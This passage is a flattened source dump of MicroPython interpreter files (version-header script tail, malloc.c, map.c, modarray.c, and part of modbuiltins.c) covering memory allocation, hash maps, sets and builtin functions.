"%s" #define MICROPY_GIT_HASH "%s" #define MICROPY_BUILD_DATE "%s" #define MICROPY_VERSION_MAJOR (%s) #define MICROPY_VERSION_MINOR (%s) #define MICROPY_VERSION_MICRO (%s) #define MICROPY_VERSION_STRING "%s.%s.%s" """ % (git_tag, git_hash, datetime.date.today().strftime("%Y-%m-%d"), ver[0], ver[1], ver[2], ver[0], ver[1], ver[2]) # Check if the file contents changed from last time write_file = True if os.path.isfile(filename): with open(filename, 'r') as f: existing_data = f.read() if existing_data == file_data: write_file = False # Only write the file if we need to if write_file: print("Generating %s" % filename) with open(filename, 'w') as f: f.write(file_data) if __name__ == "__main__": make_version_header(sys.argv[1]) ================================================ FILE: micropython/source/py/malloc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpconfig.h" #include "py/misc.h" #include "py/mpstate.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_printf(...) (void)0 #endif #if MICROPY_MEM_STATS #define UPDATE_PEAK() { if (MP_STATE_MEM(current_bytes_allocated) > MP_STATE_MEM(peak_bytes_allocated)) MP_STATE_MEM(peak_bytes_allocated) = MP_STATE_MEM(current_bytes_allocated); } #endif #if MICROPY_ENABLE_GC #include "py/gc.h" // We redirect standard alloc functions to GC heap - just for the rest of // this module. In the rest of MicroPython source, system malloc can be // freely accessed - for interfacing with system and 3rd-party libs for // example. On the other hand, some (e.g. bare-metal) ports may use GC // heap as system heap, so, to avoid warnings, we do undef's first. #undef malloc #undef free #undef realloc #define malloc(b) gc_alloc((b), false) #define malloc_with_finaliser(b) gc_alloc((b), true) #define free gc_free #define realloc(ptr, n) gc_realloc(ptr, n, true) #define realloc_ext(ptr, n, mv) gc_realloc(ptr, n, mv) #else STATIC void *realloc_ext(void *ptr, size_t n_bytes, bool allow_move) { if (allow_move) { return realloc(ptr, n_bytes); } else { // We are asked to resize, but without moving the memory region pointed to // by ptr. Unless the underlying memory manager has special provision for // this behaviour there is nothing we can do except fail to resize. return NULL; } } #endif // MICROPY_ENABLE_GC void *m_malloc(size_t num_bytes) { void *ptr = malloc(num_bytes); if (ptr == NULL && num_bytes != 0) { return m_malloc_fail(num_bytes); } #if MICROPY_MEM_STATS MP_STATE_MEM(total_bytes_allocated) += num_bytes; MP_STATE_MEM(current_bytes_allocated) += num_bytes; UPDATE_PEAK(); #endif DEBUG_printf("malloc %d : %p\n", num_bytes, ptr); return ptr; } void *m_malloc_maybe(size_t num_bytes) { void *ptr = malloc(num_bytes); #if MICROPY_MEM_STATS MP_STATE_MEM(total_bytes_allocated) += num_bytes; MP_STATE_MEM(current_bytes_allocated) += num_bytes; UPDATE_PEAK(); #endif DEBUG_printf("malloc %d : %p\n", num_bytes, ptr); return ptr; } #if MICROPY_ENABLE_FINALISER void *m_malloc_with_finaliser(size_t num_bytes) { void *ptr = malloc_with_finaliser(num_bytes); if (ptr == NULL && num_bytes != 0) { return m_malloc_fail(num_bytes); } #if MICROPY_MEM_STATS MP_STATE_MEM(total_bytes_allocated) += num_bytes; MP_STATE_MEM(current_bytes_allocated) += num_bytes; UPDATE_PEAK(); #endif DEBUG_printf("malloc %d : %p\n", num_bytes, ptr); return ptr; } #endif void *m_malloc0(size_t num_bytes) { void *ptr = m_malloc(num_bytes); if (ptr == NULL && num_bytes != 0) { return m_malloc_fail(num_bytes); } // If this config is set then the GC clears all memory, so we don't need to. #if !MICROPY_GC_CONSERVATIVE_CLEAR memset(ptr, 0, num_bytes); #endif return ptr; } #if MICROPY_MALLOC_USES_ALLOCATED_SIZE void *m_realloc(void *ptr, size_t old_num_bytes, size_t new_num_bytes) { #else void *m_realloc(void *ptr, size_t new_num_bytes) { #endif void *new_ptr = realloc(ptr, new_num_bytes); if (new_ptr == NULL && new_num_bytes != 0) { return m_malloc_fail(new_num_bytes); } #if MICROPY_MEM_STATS // At first thought, "Total bytes allocated" should only grow, // after all, it's *total*. But consider for example 2K block // shrunk to 1K and then grown to 2K again. It's still 2K // allocated total. If we process only positive increments, // we'll count 3K. size_t diff = new_num_bytes - old_num_bytes; MP_STATE_MEM(total_bytes_allocated) += diff; MP_STATE_MEM(current_bytes_allocated) += diff; UPDATE_PEAK(); #endif DEBUG_printf("realloc %p, %d, %d : %p\n", ptr, old_num_bytes, new_num_bytes, new_ptr); return new_ptr; } #if MICROPY_MALLOC_USES_ALLOCATED_SIZE void *m_realloc_maybe(void *ptr, size_t old_num_bytes, size_t new_num_bytes, bool allow_move) { #else void *m_realloc_maybe(void *ptr, size_t new_num_bytes, bool allow_move) { #endif void *new_ptr = realloc_ext(ptr, new_num_bytes, allow_move); #if MICROPY_MEM_STATS // At first thought, "Total bytes allocated" should only grow, // after all, it's *total*. But consider for example 2K block // shrunk to 1K and then grown to 2K again. It's still 2K // allocated total. If we process only positive increments, // we'll count 3K. // Also, don't count failed reallocs. if (!(new_ptr == NULL && new_num_bytes != 0)) { size_t diff = new_num_bytes - old_num_bytes; MP_STATE_MEM(total_bytes_allocated) += diff; MP_STATE_MEM(current_bytes_allocated) += diff; UPDATE_PEAK(); } #endif DEBUG_printf("realloc %p, %d, %d : %p\n", ptr, old_num_bytes, new_num_bytes, new_ptr); return new_ptr; } #if MICROPY_MALLOC_USES_ALLOCATED_SIZE void m_free(void *ptr, size_t num_bytes) { #else void m_free(void *ptr) { #endif free(ptr); #if MICROPY_MEM_STATS MP_STATE_MEM(current_bytes_allocated) -= num_bytes; #endif DEBUG_printf("free %p, %d\n", ptr, num_bytes); } #if MICROPY_MEM_STATS size_t m_get_total_bytes_allocated(void) { return MP_STATE_MEM(total_bytes_allocated); } size_t m_get_current_bytes_allocated(void) { return MP_STATE_MEM(current_bytes_allocated); } size_t m_get_peak_bytes_allocated(void) { return MP_STATE_MEM(peak_bytes_allocated); } #endif ================================================ FILE: micropython/source/py/map.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/mpconfig.h" #include "py/misc.h" #include "py/runtime0.h" #include "py/runtime.h" // Fixed empty map. Useful when need to call kw-receiving functions // without any keywords from C, etc. const mp_map_t mp_const_empty_map = { .all_keys_are_qstrs = 0, .is_fixed = 1, .is_ordered = 1, .used = 0, .alloc = 0, .table = NULL, }; // This table of sizes is used to control the growth of hash tables. // The first set of sizes are chosen so the allocation fits exactly in a // 4-word GC block, and it's not so important for these small values to be // prime. The latter sizes are prime and increase at an increasing rate. STATIC const uint16_t hash_allocation_sizes[] = { 0, 2, 4, 6, 8, 10, 12, // +2 17, 23, 29, 37, 47, 59, 73, // *1.25 97, 127, 167, 223, 293, 389, 521, 691, 919, 1223, 1627, 2161, // *1.33 3229, 4831, 7243, 10861, 16273, 24407, 36607, 54907, // *1.5 }; STATIC size_t get_hash_alloc_greater_or_equal_to(size_t x) { for (size_t i = 0; i < MP_ARRAY_SIZE(hash_allocation_sizes); i++) { if (hash_allocation_sizes[i] >= x) { return hash_allocation_sizes[i]; } } // ran out of primes in the table! // return something sensible, at least make it odd return (x + x / 2) | 1; } /******************************************************************************/ /* map */ void mp_map_init(mp_map_t *map, size_t n) { if (n == 0) { map->alloc = 0; map->table = NULL; } else { map->alloc = n; map->table = m_new0(mp_map_elem_t, map->alloc); } map->used = 0; map->all_keys_are_qstrs = 1; map->is_fixed = 0; map->is_ordered = 0; } void mp_map_init_fixed_table(mp_map_t *map, size_t n, const mp_obj_t *table) { map->alloc = n; map->used = n; map->all_keys_are_qstrs = 1; map->is_fixed = 1; map->is_ordered = 1; map->table = (mp_map_elem_t*)table; } mp_map_t *mp_map_new(size_t n) { mp_map_t *map = m_new(mp_map_t, 1); mp_map_init(map, n); return map; } // Differentiate from mp_map_clear() - semantics is different void mp_map_deinit(mp_map_t *map) { if (!map->is_fixed) { m_del(mp_map_elem_t, map->table, map->alloc); } map->used = map->alloc = 0; } void mp_map_free(mp_map_t *map) { mp_map_deinit(map); m_del_obj(mp_map_t, map); } void mp_map_clear(mp_map_t *map) { if (!map->is_fixed) { m_del(mp_map_elem_t, map->table, map->alloc); } map->alloc = 0; map->used = 0; map->all_keys_are_qstrs = 1; map->is_fixed = 0; map->table = NULL; } STATIC void mp_map_rehash(mp_map_t *map) { size_t old_alloc = map->alloc; size_t new_alloc = get_hash_alloc_greater_or_equal_to(map->alloc + 1); mp_map_elem_t *old_table = map->table; mp_map_elem_t *new_table = m_new0(mp_map_elem_t, new_alloc); // If we reach this point, table resizing succeeded, now we can edit the old map. map->alloc = new_alloc; map->used = 0; map->all_keys_are_qstrs = 1; map->table = new_table; for (size_t i = 0; i < old_alloc; i++) { if (old_table[i].key != MP_OBJ_NULL && old_table[i].key != MP_OBJ_SENTINEL) { mp_map_lookup(map, old_table[i].key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = old_table[i].value; } } m_del(mp_map_elem_t, old_table, old_alloc); } // MP_MAP_LOOKUP behaviour: // - returns NULL if not found, else the slot it was found in with key,value non-null // MP_MAP_LOOKUP_ADD_IF_NOT_FOUND behaviour: // - returns slot, with key non-null and value=MP_OBJ_NULL if it was added // MP_MAP_LOOKUP_REMOVE_IF_FOUND behaviour: // - returns NULL if not found, else the slot if was found in with key null and value non-null mp_map_elem_t *mp_map_lookup(mp_map_t *map, mp_obj_t index, mp_map_lookup_kind_t lookup_kind) { if (map->is_fixed && lookup_kind != MP_MAP_LOOKUP) { // can't add/remove from a fixed array return NULL; } // Work out if we can compare just pointers bool compare_only_ptrs = map->all_keys_are_qstrs; if (compare_only_ptrs) { if (MP_OBJ_IS_QSTR(index)) { // Index is a qstr, so can just do ptr comparison. } else if (MP_OBJ_IS_TYPE(index, &mp_type_str)) { // Index is a non-interned string. // We can either intern the string, or force a full equality comparison. // We chose the latter, since interning costs time and potentially RAM, // and it won't necessarily benefit subsequent calls because these calls // most likely won't pass the newly-interned string. compare_only_ptrs = false; } else if (lookup_kind != MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { // If we are not adding, then we can return straight away a failed // lookup because we know that the index will never be found. return NULL; } } // if the map is an ordered array then we must do a brute force linear search if (map->is_ordered) { for (mp_map_elem_t *elem = &map->table[0], *top = &map->table[map->used]; elem < top; elem++) { if (elem->key == index || (!compare_only_ptrs && mp_obj_equal(elem->key, index))) { if (MP_UNLIKELY(lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND)) { // remove the found element by moving the rest of the array down mp_obj_t value = elem->value; --map->used; memmove(elem, elem + 1, (top - elem - 1) * sizeof(*elem)); // put the found element after the end so the caller can access it if needed elem = &map->table[map->used]; elem->key = MP_OBJ_NULL; elem->value = value; } return elem; } } if (MP_LIKELY(lookup_kind != MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)) { return NULL; } if (map->used == map->alloc) { // TODO: Alloc policy map->alloc += 4; map->table = m_renew(mp_map_elem_t, map->table, map->used, map->alloc); mp_seq_clear(map->table, map->used, map->alloc, sizeof(*map->table)); } mp_map_elem_t *elem = map->table + map->used++; elem->key = index; if (!MP_OBJ_IS_QSTR(index)) { map->all_keys_are_qstrs = 0; } return elem; } // map is a hash table (not an ordered array), so do a hash lookup if (map->alloc == 0) { if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { mp_map_rehash(map); } else { return NULL; } } // get hash of index, with fast path for common case of qstr mp_uint_t hash; if (MP_OBJ_IS_QSTR(index)) { hash = qstr_hash(MP_OBJ_QSTR_VALUE(index)); } else { hash = MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, index)); } size_t pos = hash % map->alloc; size_t start_pos = pos; mp_map_elem_t *avail_slot = NULL; for (;;) { mp_map_elem_t *slot = &map->table[pos]; if (slot->key == MP_OBJ_NULL) { // found NULL slot, so index is not in table if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { map->used += 1; if (avail_slot == NULL) { avail_slot = slot; } avail_slot->key = index; avail_slot->value = MP_OBJ_NULL; if (!MP_OBJ_IS_QSTR(index)) { map->all_keys_are_qstrs = 0; } return avail_slot; } else { return NULL; } } else if (slot->key == MP_OBJ_SENTINEL) { // found deleted slot, remember for later if (avail_slot == NULL) { avail_slot = slot; } } else if (slot->key == index || (!compare_only_ptrs && mp_obj_equal(slot->key, index))) { // found index // Note: CPython does not replace the index; try x={True:'true'};x[1]='one';x if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) { // delete element in this slot map->used--; if (map->table[(pos + 1) % map->alloc].key == MP_OBJ_NULL) { // optimisation if next slot is empty slot->key = MP_OBJ_NULL; } else { slot->key = MP_OBJ_SENTINEL; } // keep slot->value so that caller can access it if needed } return slot; } // not yet found, keep searching in this table pos = (pos + 1) % map->alloc; if (pos == start_pos) { // search got back to starting position, so index is not in table if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { if (avail_slot != NULL) { // there was an available slot, so use that map->used++; avail_slot->key = index; avail_slot->value = MP_OBJ_NULL; if (!MP_OBJ_IS_QSTR(index)) { map->all_keys_are_qstrs = 0; } return avail_slot; } else { // not enough room in table, rehash it mp_map_rehash(map); // restart the search for the new element start_pos = pos = hash % map->alloc; } } else { return NULL; } } } } /******************************************************************************/ /* set */ #if MICROPY_PY_BUILTINS_SET void mp_set_init(mp_set_t *set, size_t n) { set->alloc = n; set->used = 0; set->table = m_new0(mp_obj_t, set->alloc); } STATIC void mp_set_rehash(mp_set_t *set) { size_t old_alloc = set->alloc; mp_obj_t *old_table = set->table; set->alloc = get_hash_alloc_greater_or_equal_to(set->alloc + 1); set->used = 0; set->table = m_new0(mp_obj_t, set->alloc); for (size_t i = 0; i < old_alloc; i++) { if (old_table[i] != MP_OBJ_NULL && old_table[i] != MP_OBJ_SENTINEL) { mp_set_lookup(set, old_table[i], MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); } } m_del(mp_obj_t, old_table, old_alloc); } mp_obj_t mp_set_lookup(mp_set_t *set, mp_obj_t index, mp_map_lookup_kind_t lookup_kind) { // Note: lookup_kind can be MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND which // is handled by using bitwise operations. if (set->alloc == 0) { if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { mp_set_rehash(set); } else { return MP_OBJ_NULL; } } mp_uint_t hash = MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, index)); size_t pos = hash % set->alloc; size_t start_pos = pos; mp_obj_t *avail_slot = NULL; for (;;) { mp_obj_t elem = set->table[pos]; if (elem == MP_OBJ_NULL) { // found NULL slot, so index is not in table if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { if (avail_slot == NULL) { avail_slot = &set->table[pos]; } set->used++; *avail_slot = index; return index; } else { return MP_OBJ_NULL; } } else if (elem == MP_OBJ_SENTINEL) { // found deleted slot, remember for later if (avail_slot == NULL) { avail_slot = &set->table[pos]; } } else if (mp_obj_equal(elem, index)) { // found index if (lookup_kind & MP_MAP_LOOKUP_REMOVE_IF_FOUND) { // delete element set->used--; if (set->table[(pos + 1) % set->alloc] == MP_OBJ_NULL) { // optimisation if next slot is empty set->table[pos] = MP_OBJ_NULL; } else { set->table[pos] = MP_OBJ_SENTINEL; } } return elem; } // not yet found, keep searching in this table pos = (pos + 1) % set->alloc; if (pos == start_pos) { // search got back to starting position, so index is not in table if (lookup_kind & MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { if (avail_slot != NULL) { // there was an available slot, so use that set->used++; *avail_slot = index; return index; } else { // not enough room in table, rehash it mp_set_rehash(set); // restart the search for the new element start_pos = pos = hash % set->alloc; } } else { return MP_OBJ_NULL; } } } } mp_obj_t mp_set_remove_first(mp_set_t *set) { for (size_t pos = 0; pos < set->alloc; pos++) { if (MP_SET_SLOT_IS_FILLED(set, pos)) { mp_obj_t elem = set->table[pos]; // delete element set->used--; if (set->table[(pos + 1) % set->alloc] == MP_OBJ_NULL) { // optimisation if next slot is empty set->table[pos] = MP_OBJ_NULL; } else { set->table[pos] = MP_OBJ_SENTINEL; } return elem; } } return MP_OBJ_NULL; } void mp_set_clear(mp_set_t *set) { m_del(mp_obj_t, set->table, set->alloc); set->alloc = 0; set->used = 0; set->table = NULL; } #endif // MICROPY_PY_BUILTINS_SET #if defined(DEBUG_PRINT) && DEBUG_PRINT void mp_map_dump(mp_map_t *map) { for (size_t i = 0; i < map->alloc; i++) { if (map->table[i].key != NULL) { mp_obj_print(map->table[i].key, PRINT_REPR); } else { printf("(nil)"); } printf(": %p\n", map->table[i].value); } printf("---\n"); } #endif ================================================ FILE: micropython/source/py/modarray.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/builtin.h" #if MICROPY_PY_ARRAY STATIC const mp_rom_map_elem_t mp_module_array_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_array) }, { MP_ROM_QSTR(MP_QSTR_array), MP_ROM_PTR(&mp_type_array) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_array_globals, mp_module_array_globals_table); const mp_obj_module_t mp_module_array = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_array_globals, }; #endif ================================================ FILE: micropython/source/py/modbuiltins.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/smallint.h" #include "py/objint.h" #include "py/objstr.h" #include "py/objtype.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/builtin.h" #include "py/stream.h" #if MICROPY_PY_BUILTINS_FLOAT #include #endif #if MICROPY_PY_IO extern struct _mp_dummy_t mp_sys_stdout_obj; // type is irrelevant, just need pointer #endif // args[0] is function from class body // args[1] is class name // args[2:] are base objects STATIC mp_obj_t mp_builtin___build_class__(size_t n_args, const mp_obj_t *args) { assert(2 <= n_args); // set the new classes __locals__ object mp_obj_dict_t *old_locals = mp_locals_get(); mp_obj_t class_locals = mp_obj_new_dict(0); mp_locals_set(MP_OBJ_TO_PTR(class_locals)); // call the class code mp_obj_t cell = mp_call_function_0(args[0]); // restore old __locals__ object mp_locals_set(old_locals); // get the class type (meta object) from the base objects mp_obj_t meta; if (n_args == 2) { // no explicit bases, so use 'type' meta = MP_OBJ_FROM_PTR(&mp_type_type); } else { // use type of first base object meta = MP_OBJ_FROM_PTR(mp_obj_get_type(args[2])); } // TODO do proper metaclass resolution for multiple base objects // create the new class using a call to the meta object mp_obj_t meta_args[3]; meta_args[0] = args[1]; // class name meta_args[1] = mp_obj_new_tuple(n_args - 2, args + 2); // tuple of bases meta_args[2] = class_locals; // dict of members mp_obj_t new_class = mp_call_function_n_kw(meta, 3, 0, meta_args); // store into cell if neede if (cell != mp_const_none) { mp_obj_cell_set(cell, new_class); } return new_class; } MP_DEFINE_CONST_FUN_OBJ_VAR(mp_builtin___build_class___obj, 2, mp_builtin___build_class__); STATIC mp_obj_t mp_builtin_abs(mp_obj_t o_in) { #if MICROPY_PY_BUILTINS_FLOAT if (mp_obj_is_float(o_in)) { mp_float_t value = mp_obj_float_get(o_in); // TODO check for NaN etc if (value < 0) { return mp_obj_new_float(-value); } else { return o_in; } #if MICROPY_PY_BUILTINS_COMPLEX } else if (MP_OBJ_IS_TYPE(o_in, &mp_type_complex)) { mp_float_t real, imag; mp_obj_complex_get(o_in, &real, &imag); return mp_obj_new_float(MICROPY_FLOAT_C_FUN(sqrt)(real*real + imag*imag)); #endif } #endif // this will raise a TypeError if the argument is not integral return mp_obj_int_abs(o_in); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_abs_obj, mp_builtin_abs); STATIC mp_obj_t mp_builtin_all(mp_obj_t o_in) { mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(o_in, &iter_buf); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { if (!mp_obj_is_true(item)) { return mp_const_false; } } return mp_const_true; } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_all_obj, mp_builtin_all); STATIC mp_obj_t mp_builtin_any(mp_obj_t o_in) { mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(o_in, &iter_buf); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { if (mp_obj_is_true(item)) { return mp_const_true; } } return mp_const_false; } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_any_obj, mp_builtin_any); STATIC mp_obj_t mp_builtin_bin(mp_obj_t o_in) { mp_obj_t args[] = { MP_OBJ_NEW_QSTR(MP_QSTR__brace_open__colon__hash_b_brace_close_), o_in }; return mp_obj_str_format(MP_ARRAY_SIZE(args), args, NULL); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_bin_obj, mp_builtin_bin); STATIC mp_obj_t mp_builtin_callable(mp_obj_t o_in) { if (mp_obj_is_callable(o_in)) { return mp_const_true; } else { return mp_const_false; } } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_callable_obj, mp_builtin_callable); STATIC mp_obj_t mp_builtin_chr(mp_obj_t o_in) { #if MICROPY_PY_BUILTINS_STR_UNICODE mp_uint_t c = mp_obj_get_int(o_in); char str[4]; int len = 0; if (c < 0x80) { *str = c; len = 1; } else if (c < 0x800) { str[0] = (c >> 6) | 0xC0; str[1] = (c & 0x3F) | 0x80; len = 2; } else if (c < 0x10000) { str[0] = (c >> 12) | 0xE0; str[1] = ((c >> 6) & 0x3F) | 0x80; str[2] = (c & 0x3F) | 0x80; len = 3; } else if (c < 0x110000) { str[0] = (c >> 18) | 0xF0; str[1] = ((c >> 12) & 0x3F) | 0x80; str[2] = ((c >> 6) & 0x3F) | 0x80; str[3] = (c & 0x3F) | 0x80; len = 4; } else { mp_raise_ValueError("chr() arg not in range(0x110000)"); } return mp_obj_new_str(str, len, true); #else mp_int_t ord = mp_obj_get_int(o_in); if (0 <= ord && ord <= 0xff) { char str[1] = {ord}; return mp_obj_new_str(str, 1, true); } else { mp_raise_ValueError("chr() arg not in range(256)"); } #endif } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_chr_obj, mp_builtin_chr); STATIC mp_obj_t mp_builtin_dir(size_t n_args, const mp_obj_t *args) { // TODO make this function more general and less of a hack mp_obj_dict_t *dict = NULL; mp_map_t *members = NULL; if (n_args == 0) { // make a list of names in the local name space dict = mp_locals_get(); } else { // n_args == 1 // make a list of names in the given object if (MP_OBJ_IS_TYPE(args[0], &mp_type_module)) { dict = mp_obj_module_get_globals(args[0]); } else { mp_obj_type_t *type; if (MP_OBJ_IS_TYPE(args[0], &mp_type_type)) { type = MP_OBJ_TO_PTR(args[0]); } else { type = mp_obj_get_type(args[0]); } if (type->locals_dict != NULL && type->locals_dict->base.type == &mp_type_dict) { dict = type->locals_dict; } } if (mp_obj_is_instance_type(mp_obj_get_type(args[0]))) { mp_obj_instance_t *inst = MP_OBJ_TO_PTR(args[0]); members = &inst->members; } } mp_obj_t dir = mp_obj_new_list(0, NULL); if (dict != NULL) { for (size_t i = 0; i < dict->map.alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) { mp_obj_list_append(dir, dict->map.table[i].key); } } } if (members != NULL) { for (size_t i = 0; i < members->alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(members, i)) { mp_obj_list_append(dir, members->table[i].key); } } } return dir; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_dir_obj, 0, 1, mp_builtin_dir); STATIC mp_obj_t mp_builtin_divmod(mp_obj_t o1_in, mp_obj_t o2_in) { return mp_binary_op(MP_BINARY_OP_DIVMOD, o1_in, o2_in); } MP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_divmod_obj, mp_builtin_divmod); STATIC mp_obj_t mp_builtin_hash(mp_obj_t o_in) { // result is guaranteed to be a (small) int return mp_unary_op(MP_UNARY_OP_HASH, o_in); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_hash_obj, mp_builtin_hash); STATIC mp_obj_t mp_builtin_hex(mp_obj_t o_in) { return mp_binary_op(MP_BINARY_OP_MODULO, MP_OBJ_NEW_QSTR(MP_QSTR__percent__hash_x), o_in); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_hex_obj, mp_builtin_hex); #if MICROPY_PY_BUILTINS_INPUT #include "py/mphal.h" #include "lib/mp-readline/readline.h" // A port can define mp_hal_readline if they want to use a custom function here #ifndef mp_hal_readline #define mp_hal_readline readline #endif STATIC mp_obj_t mp_builtin_input(size_t n_args, const mp_obj_t *args) { if (n_args == 1) { mp_obj_print(args[0], PRINT_STR); } vstr_t line; vstr_init(&line, 16); int ret = mp_hal_readline(&line, ""); if (ret == CHAR_CTRL_C) { nlr_raise(mp_obj_new_exception(&mp_type_KeyboardInterrupt)); } if (line.len == 0 && ret == CHAR_CTRL_D) { nlr_raise(mp_obj_new_exception(&mp_type_EOFError)); } return mp_obj_new_str_from_vstr(&mp_type_str, &line); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_input_obj, 0, 1, mp_builtin_input); #endif STATIC mp_obj_t mp_builtin_iter(mp_obj_t o_in) { return mp_getiter(o_in, NULL); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_iter_obj, mp_builtin_iter); #if MICROPY_PY_BUILTINS_MIN_MAX STATIC mp_obj_t mp_builtin_min_max(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs, mp_uint_t op) { mp_map_elem_t *key_elem = mp_map_lookup(kwargs, 